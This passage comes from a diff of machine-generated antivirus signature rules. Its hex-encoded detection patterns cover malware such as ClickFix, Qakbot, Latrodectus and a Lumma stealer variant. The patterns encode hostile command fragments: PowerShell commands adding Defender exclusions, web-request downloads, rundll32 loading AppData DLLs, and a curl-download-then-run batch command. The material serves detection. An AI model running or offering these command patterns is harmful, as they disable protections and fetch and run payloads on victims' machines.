6f 6a 61 6e 3a 57 } //110 + $a_32_2 = {50 6f 77 45 78 63 45 6e 76 2e 45 21 4d 54 42 00 14 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 20 00 61 00 64 00 64 00 2d } //28265 + $a_00_4 = {65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 0a 00 1c 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 0a 00 22 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 0e 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 00 00 d7 bf 00 00 91 01 91 01 } //112 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_32_2 & 1)*28265+(#a_00_3 & 1)*109+(#a_01_4 & 1)*0) >=41 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*110+(#a_32_2 & 1)*28265+(#a_00_4 & 1)*112) >=41 } -rule _InfrastructureShared_25906{ +rule _InfrastructureShared_27229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 05 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 45 21 4d 54 42 00 14 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 20 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 00 } //21283 - $a_00_1 = {65 00 6e 00 63 00 65 00 0a 00 1c 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 0a 00 22 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 0e 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 00 00 d7 bf 00 00 91 01 91 01 06 00 21 23 53 4c 46 3a } //101 - $a_6a_2 = {6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 42 43 00 64 00 08 00 2e 00 74 00 6d 00 70 00 64 00 16 00 2f 00 48 00 69 00 64 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 64 00 10 00 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 01 00 21 02 5c 00 52 00 6f 00 61 00 6d 00 69 } //29268 - $a_02_4 = {20 2e 00 64 00 6c 00 6c 00 2c 00 90 00 01 00 23 02 5c 00 52 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 90 02 20 2e 00 64 00 6c 00 6c 00 20 00 2c 00 90 00 00 00 d7 c8 00 00 1f 00 1f 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 4d 70 54 61 6d 70 65 72 7a 2e 41 00 01 00 10 00 70 00 77 00 73 00 68 00 2e 00 65 00 78 00 65 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 2d 00 63 00 6f 00 6d 00 } //92 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6f 77 45 78 63 45 6e 76 2e 45 21 4d 54 42 00 14 00 14 00 50 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 20 00 61 00 64 00 64 00 2d 00 6d 00 70 00 70 00 72 00 65 00 66 } //21283 + $a_00_2 = {63 00 65 00 0a 00 1c 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 61 00 74 00 68 00 0a 00 22 00 2d 00 65 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 0e 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 00 00 d7 bf 00 00 91 01 91 01 06 00 21 23 53 4c 46 3a } //101 + $a_6a_3 = {6e 3a 57 69 6e 33 32 2f 51 61 6b 62 6f 74 2e 42 43 00 64 00 08 00 2e 00 74 00 6d 00 70 00 64 00 16 00 2f 00 48 00 69 00 64 00 65 00 57 00 69 00 6e 00 64 00 6f 00 77 00 64 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 64 00 10 00 5c 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 01 00 21 02 5c 00 52 00 6f 00 61 00 6d 00 69 } //29268 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_6a_2 & 1)*29268+(#a_02_4 & 1)*92) >=51 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_6a_3 & 1)*29268) >=51 } -rule _InfrastructureShared_25907{ +rule _InfrastructureShared_27230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff91 01 ffffff91 01 06 00 21 " @@ -339172,7 +356186,7 @@ rule _InfrastructureShared_25907{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*100+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_c8_5 & 1)*0) >=401 } -rule _InfrastructureShared_25908{ +rule _InfrastructureShared_27231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 05 00 21 " @@ -339185,7 +356199,7 @@ rule _InfrastructureShared_25908{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_2 & 1)*0+(#a_3a_4 & 1)*19539) >=31 } -rule _InfrastructureShared_25909{ +rule _InfrastructureShared_27232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -339196,7 +356210,7 @@ rule _InfrastructureShared_25909{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*38) >=1 } -rule _InfrastructureShared_25910{ +rule _InfrastructureShared_27233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -339207,7 +356221,7 @@ rule _InfrastructureShared_25910{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*92) >=4 } -rule _InfrastructureShared_25911{ +rule _InfrastructureShared_27234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,36 00 36 00 06 00 21 " @@ -339220,7 +356234,7 @@ rule _InfrastructureShared_25911{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*80+(#a_00_3 & 1)*115+(#a_00_5 & 1)*110) >=54 } -rule _InfrastructureShared_25912{ +rule _InfrastructureShared_27235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 05 00 21 " @@ -339232,7 +356246,7 @@ rule _InfrastructureShared_25912{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_3 & 1)*107) >=31 } -rule _InfrastructureShared_25913{ +rule _InfrastructureShared_27236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 11 00 21 " @@ -339255,7 +356269,7 @@ rule _InfrastructureShared_25913{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_ff_3 & 1)*101+(#a_00_5 & 1)*45+(#a_00_7 & 1)*111+(#a_d7_8 & 1)*5892+(#a_67_9 & 1)*-14449+(#a_31_10 & 1)*-6370+(#a_ac_11 & 1)*-5116+(#a_80_12 & 1)*-3580+(#a_4c_13 & 1)*8993+(#a_f8_14 & 1)*-5414+(#a_bc_15 & 1)*-5569+(#a_ea_16 & 1)*1258) >=1 } -rule _InfrastructureShared_25914{ +rule _InfrastructureShared_27237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 21 " @@ -339267,7 +356281,7 @@ rule _InfrastructureShared_25914{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*84+(#a_08_2 & 1)*7888) >=101 } -rule _InfrastructureShared_25915{ +rule _InfrastructureShared_27238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 21 " @@ -339278,7 +356292,7 @@ rule _InfrastructureShared_25915{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=101 } -rule _InfrastructureShared_25916{ +rule _InfrastructureShared_27239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 21 " @@ -339288,7 +356302,7 @@ rule _InfrastructureShared_25916{ ((#a_46_0 & 1)*21283) >=101 } -rule _InfrastructureShared_25917{ +rule _InfrastructureShared_27240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -339299,7 +356313,7 @@ rule _InfrastructureShared_25917{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116) >=2 } -rule _InfrastructureShared_25918{ +rule _InfrastructureShared_27241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 03 00 21 " @@ -339311,7 +356325,7 @@ rule _InfrastructureShared_25918{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_82_2 & 1)*0) >=101 } -rule _InfrastructureShared_25919{ +rule _InfrastructureShared_27242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -339324,81 +356338,59 @@ rule _InfrastructureShared_25919{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_2 & 1)*98+(#a_00_4 & 1)*115) >=11 } -rule _InfrastructureShared_25920{ +rule _InfrastructureShared_27243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,74 00 74 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 49 63 65 64 49 64 2e 50 41 21 4d 54 42 00 64 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 01 00 0a 00 2c 00 73 00 63 00 61 00 62 00 01 00 0c 00 2c 00 20 00 73 00 63 00 61 00 62 00 05 } //21283 $a_00_2 = {0a 00 14 00 62 00 65 00 73 00 6f 00 67 00 6f 00 6e 00 37 00 32 00 38 00 0a 00 14 00 70 00 65 00 63 00 68 00 65 00 6e 00 65 00 36 00 33 00 34 00 00 00 d7 9b 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 50 6f 77 43 6f 6d 6d 6e 64 2e 50 41 21 4d 54 42 00 01 00 22 00 49 00 6e 00 } //47 - $a_00_3 = {6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 01 00 14 00 2d 00 55 00 73 00 65 00 72 00 41 00 67 00 65 00 6e 00 74 00 01 00 14 00 7c 00 20 00 6f 00 75 00 74 00 2d 00 6e 00 75 00 6c 00 6c 00 01 00 12 00 23 00 7b 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 7d 00 00 00 d7 9f 00 00 05 00 05 00 05 00 21 23 53 } //118 - $a_54_4 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 50 41 21 4d 54 42 00 01 00 1c 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 } //17996 + $a_00_3 = {6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 01 00 14 00 2d 00 55 00 73 00 65 00 72 00 41 00 67 00 65 00 6e 00 74 00 01 00 14 00 7c 00 20 00 6f 00 75 00 74 00 2d 00 6e 00 75 00 6c 00 6c 00 01 00 12 00 23 00 7b 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 7d 00 00 00 d7 ac 00 00 0b 00 0b 00 07 00 21 23 53 } //118 + $a_54_4 = {6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 74 72 6f 64 65 63 74 75 73 2e 50 41 21 4d 54 42 00 0a 00 18 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 } //17996 + $a_00_5 = {2c 00 76 00 67 00 6d 00 6c 00 } //1 ,vgml condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*47+(#a_00_3 & 1)*118+(#a_54_4 & 1)*17996) >=116 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*47+(#a_00_3 & 1)*118+(#a_54_4 & 1)*17996+(#a_00_5 & 1)*1) >=116 } -rule _InfrastructureShared_25921{ +rule _InfrastructureShared_27244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 50 6f 77 43 6f 6d 6d 6e 64 2e 50 41 21 4d 54 42 00 01 00 22 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 01 00 14 00 2d } //21283 - $a_00_2 = {41 00 67 00 65 00 6e 00 74 00 01 00 14 00 7c 00 20 00 6f 00 75 00 74 00 2d 00 6e 00 75 00 6c 00 6c 00 01 00 12 00 23 00 7b 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 7d 00 00 00 d7 9f 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 50 41 21 4d 54 42 00 01 00 1c 00 50 00 6f 00 77 00 65 } //101 + $a_00_2 = {41 00 67 00 65 00 6e 00 74 00 01 00 14 00 7c 00 20 00 6f 00 75 00 74 00 2d 00 6e 00 75 00 6c 00 6c 00 01 00 12 00 23 00 7b 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 7d 00 00 00 d7 ac 00 00 0b 00 0b 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 74 72 6f 64 65 63 74 75 73 2e 50 41 21 4d 54 42 00 0a 00 18 00 72 00 75 00 } //101 + $a_00_3 = {6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 01 00 0a 00 2c 00 76 00 67 00 6d 00 6c 00 01 00 0c 00 2c 00 20 00 76 00 67 00 6d 00 6c 00 01 00 0a 00 2c 00 73 00 74 00 6f 00 77 00 01 00 0c 00 2c 00 20 00 73 00 74 00 6f 00 77 00 01 00 0e 00 2c 00 4f 00 62 00 6a 00 65 00 63 00 74 00 01 00 10 00 2c 00 } //110 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=4 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_3 & 1)*110) >=4 } -rule _InfrastructureShared_25922{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 50 41 21 4d 54 42 00 01 00 1c 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 11 02 32 00 5c 00 6d 00 73 00 68 00 90 } //21283 - $a_00_1 = {90 00 01 00 13 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 01 00 08 00 2e 00 6d 00 70 00 33 00 01 00 18 00 56 00 65 00 72 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 00 00 d7 ac 00 00 0b 00 0b 00 07 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 74 72 6f } //514 - $a_74_2 = {73 2e 50 41 21 4d 54 42 00 0a 00 18 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 01 00 0a 00 2c 00 76 00 67 00 6d 00 6c 00 01 00 0c 00 2c 00 20 00 76 00 67 00 6d 00 6c 00 01 00 0a 00 2c 00 73 00 74 00 6f 00 77 00 01 00 0c 00 2c 00 20 00 73 00 74 00 6f 00 77 00 01 00 } //25956 - $a_00_3 = {4f 00 62 00 6a 00 65 00 63 00 74 00 01 00 10 00 2c 00 20 00 4f 00 62 00 6a 00 65 00 63 00 74 00 00 00 d7 dd 00 00 51 00 51 00 0d 00 } //14 - $a_4c_4 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 50 42 21 4d 54 42 00 14 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 10 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 14 00 08 00 68 00 74 00 74 } //8993 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*514+(#a_74_2 & 1)*25956+(#a_00_3 & 1)*14+(#a_4c_4 & 1)*8993) >=5 - -} -rule _InfrastructureShared_25923{ +rule _InfrastructureShared_27245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 07 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 74 72 6f 64 65 63 74 75 73 2e 50 41 21 4d 54 42 00 0a 00 18 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 01 00 0a 00 2c 00 76 00 67 00 6d 00 6c 00 01 00 } //21283 $a_00_1 = {20 00 76 00 67 00 6d 00 6c 00 01 00 0a 00 2c 00 73 00 74 00 6f 00 77 00 01 00 0c 00 2c 00 20 00 73 00 74 00 6f 00 77 00 01 00 0e 00 } //12 - $a_00_2 = {62 00 6a 00 65 00 63 00 74 00 01 00 10 00 2c 00 20 00 4f 00 62 00 6a 00 65 00 63 00 74 00 00 00 d7 dd 00 00 51 00 51 00 0d 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 50 42 21 4d 54 42 00 14 00 } //44 - $a_00_3 = {6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 10 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 14 00 08 00 68 00 74 00 74 00 70 00 14 00 0a 00 2d 00 4a 00 6f 00 69 00 6e 00 01 00 08 00 2e 00 6d 00 70 00 33 00 01 00 08 00 2e 00 6d 00 70 00 34 00 01 00 08 00 2e 00 66 00 6c 00 76 00 01 00 08 00 2e 00 6d 00 64 00 62 00 } //20 - $a_00_4 = {2e 00 65 00 70 00 73 00 } //1 .eps - $a_00_5 = {2e 00 64 00 61 00 74 00 } //1 .dat - $a_00_6 = {2e 00 63 00 64 00 61 00 } //1 .cda + $a_00_2 = {62 00 6a 00 65 00 63 00 74 00 01 00 10 00 2c 00 20 00 4f 00 62 00 6a 00 65 00 63 00 74 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 05 00 00 00 f8 24 01 00 e7 89 00 00 00 24 61 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //44 + $a_2f_3 = {75 73 70 41 72 63 68 69 76 65 2e 44 21 69 62 74 93 67 04 ec 0f ac e6 e7 80 19 80 ea 04 f2 ea 80 8f e7 89 e3 ec e2 f2 e6 93 bc 0b 41 e2 04 f2 ea 80 e7 } //13166 + $a_ad_4 = {e3 8f e7 da bc ec e2 f2 e6 a3 bc d1 a3 f2 13 13 80 3f 04 f2 ea 80 8f c0 93 67 04 ec e3 3f a7 04 f2 ea 80 a3 bc d1 17 6a e3 44 89 93 e7 36 e7 da bc ec a3 } //-25860 + $a_ac_5 = {1a e0 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 05 00 00 00 90 5f 01 00 5b 29 00 00 20 44 43 4f 5f 4d 70 44 69 73 61 62 6c 65 52 45 57 53 61 6d 70 6c 65 53 75 62 6d 69 73 73 69 6f 6e 04 00 00 00 01 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 29 4d 00 00 1b 21 23 53 4c 46 3a 4c 4e 4b 2f 53 75 73 70 4c 6e 6b 44 6f 77 6e 6c 6f 61 64 2e 41 00 00 ff ff ff ff 27 00 00 00 63 6d 64 2e 65 78 65 2f 63 63 75 72 6c 2d 6f 90 02 3c 68 74 74 70 73 90 02 3c 2e 62 61 74 26 26 73 74 61 72 74 90 00 40 23 00 00 01 00 01 06 21 } //-11844 + $a_49_6 = {4b 61 7a 75 61 72 2e 41 00 02 41 02 00 02 70 00 1f 4f 86 51 0e 00 00 00 00 40 26 00 00 01 00 01 06 21 23 4e 52 49 3a 56 61 70 6f 72 52 61 67 65 2e 41 00 40 02 00 00 02 70 14 00 00 00 00 00 fa b8 ca 82 40 47 00 00 03 00 01 06 21 23 4e 52 49 3a 4c } //20003 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*12+(#a_00_2 & 1)*44+(#a_00_3 & 1)*20+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1) >=11 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*12+(#a_00_2 & 1)*44+(#a_2f_3 & 1)*13166+(#a_ad_4 & 1)*-25860+(#a_ac_5 & 1)*-11844+(#a_49_6 & 1)*20003) >=11 } -rule _InfrastructureShared_25924{ +rule _InfrastructureShared_27246{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,51 00 51 00 0d 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 50 42 21 4d 54 42 00 14 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 14 00 10 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 14 00 08 } //21283 - $a_00_2 = {14 00 0a 00 2d 00 4a 00 6f 00 69 00 6e 00 01 00 08 00 2e 00 6d 00 70 00 33 00 01 00 08 00 2e 00 6d 00 70 00 34 00 01 00 08 00 2e 00 66 00 6c 00 76 00 01 00 08 00 2e 00 6d 00 64 00 62 00 01 00 08 00 2e 00 65 00 70 00 73 00 01 00 08 00 2e 00 64 00 61 00 74 00 01 00 08 00 2e 00 63 00 64 00 61 00 01 00 08 00 2e 00 6d 00 34 00 61 00 01 00 } //116 - $a_00_3 = {78 00 6c 00 6c 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 05 00 00 00 f8 24 01 00 e7 89 00 00 00 24 61 00 21 23 53 4c 46 3a } //8 - $a_6a_4 = {6e 3a 57 69 6e 33 32 2f 53 75 73 70 41 72 63 68 69 76 65 2e 44 21 69 62 74 93 67 04 ec 0f ac e6 e7 80 19 80 ea 04 f2 ea 80 8f e7 89 e3 ec e2 f2 e6 93 bc 0b 41 e2 04 f2 ea 80 e7 fc 9a 33 ad fe e3 8f e7 da bc ec e2 f2 e6 a3 bc d1 a3 f2 13 13 80 3f 04 f2 ea 80 8f c0 93 67 04 ec e3 3f a7 04 f2 ea 80 a3 bc d1 17 6a e3 44 89 93 e7 36 e7 } //29268 - $a_a3_5 = {d1 ad ac 1e 1a e0 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 05 00 00 00 90 5f 01 00 5b 29 00 00 20 44 43 4f 5f 4d 70 44 69 73 61 62 6c 65 52 45 57 53 61 6d 70 6c 65 53 75 62 6d 69 73 73 69 6f 6e 04 00 00 00 01 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 29 4d 00 00 1b 21 23 53 4c 46 3a 4c 4e 4b 2f 53 75 73 70 4c 6e 6b 44 6f 77 6e 6c 6f 61 64 2e 41 00 00 ff ff ff ff 27 00 00 00 63 6d 64 2e 65 78 65 2f 63 63 75 72 6c 2d 6f 90 02 3c 68 74 74 70 73 90 02 3c 2e 62 61 74 26 26 73 74 61 72 74 90 00 40 23 00 00 01 00 01 06 21 23 4e 52 49 3a 4b 61 7a 75 61 72 2e 41 00 02 41 02 00 02 70 00 1f 4f 86 51 0e 00 00 00 00 40 26 00 00 01 00 01 06 21 23 4e 52 49 3a 56 61 70 6f 72 52 61 67 65 2e 41 00 40 02 00 } //-17190 - $a_14_6 = {00 00 00 00 fa b8 ca 82 40 47 00 00 03 00 01 06 21 23 4e 52 49 3a 4c 69 71 75 69 64 43 61 72 64 2e 41 00 02 40 02 00 02 70 00 0d af 0e 3b 97 00 00 00 00 02 40 02 00 02 70 00 0e ac f5 2f c8 00 00 00 00 02 40 02 00 02 70 00 07 32 39 d2 24 00 00 00 00 bd a5 00 00 0d 15 13 00 7d 00 00 00 33 32 62 33 35 36 61 61 36 35 37 39 00 49 6e 63 6c } //512 - $a_73_7 = {42 4d 4c 75 61 4c 69 62 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 06 00 00 00 05 00 00 00 1c 40 80 00 05 40 00 00 06 80 40 00 1e 00 00 01 1e 00 80 00 03 00 00 00 04 16 00 00 00 73 6d 73 5f 75 6e 74 72 75 73 74 65 64 5f 70 72 6f 63 65 73 73 00 04 03 00 00 } //25717 - $a_00_8 = {04 09 00 00 00 49 4e 46 45 43 54 45 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd a5 00 00 0d 15 13 00 7d 00 00 00 33 32 62 33 65 36 37 30 63 63 64 36 00 49 6e 63 6c 75 64 65 73 00 42 4d 4c 75 61 4c 69 62 00 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 06 00 00 00 05 00 00 00 1c 40 } //27904 - $a_40_9 = {00 06 80 40 00 } //128 - $a_00_11 = {03 00 00 00 04 16 00 00 00 73 6d 73 5f 75 6e 74 72 75 73 74 65 64 5f 70 72 6f 63 65 73 73 00 04 03 00 00 00 6d 70 00 04 09 00 00 00 49 4e 46 45 43 54 45 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd b4 00 00 0d 15 00 00 9f 00 00 00 33 32 32 39 38 66 32 39 39 39 36 30 00 1b 4c 75 61 51 00 01 04 08 04 08 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 02 0c 00 00 00 05 00 } //30 - $a_40_12 = {00 1c 80 80 00 18 } //0 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 65 63 2e 48 47 21 4d 54 42 00 01 00 2e 02 5c 00 61 00 75 00 74 00 6f 00 69 00 74 00 33 00 5f 00 78 00 90 01 04 2e 00 65 00 78 00 65 00 20 00 90 02 12 2e 00 7a 00 69 00 70 } //21283 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*116+(#a_00_3 & 1)*8+(#a_6a_4 & 1)*29268+(#a_a3_5 & 1)*-17190+(#a_14_6 & 1)*512+(#a_73_7 & 1)*25717+(#a_00_8 & 1)*27904+(#a_40_9 & 1)*128+(#a_00_11 & 1)*30+(#a_40_12 & 1)*0) >=81 + ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_25925{ +rule _InfrastructureShared_27247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " @@ -339409,7 +356401,7 @@ rule _InfrastructureShared_25925{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*-10496) >=3 } -rule _InfrastructureShared_25926{ +rule _InfrastructureShared_27248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -339419,31 +356411,42 @@ rule _InfrastructureShared_25926{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_25927{ +rule _InfrastructureShared_27249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4e 21 4d 54 42 00 01 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 30 2d 00 65 00 90 00 01 00 0a 00 6d 00 73 00 } //21539 $a_00_1 = {61 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 68 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 50 79 45 78 65 63 2e 41 00 01 00 0c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 01 00 24 02 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 90 02 50 2e 00 70 00 79 00 90 02 3c 2d 00 69 00 70 00 90 00 01 00 0c 00 20 00 2d 00 70 00 } //104 - $a_00_2 = {74 00 00 00 d7 94 00 00 28 00 28 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 43 6c 69 63 6b 2e 47 00 0a 00 10 00 73 00 63 00 68 00 74 00 61 00 73 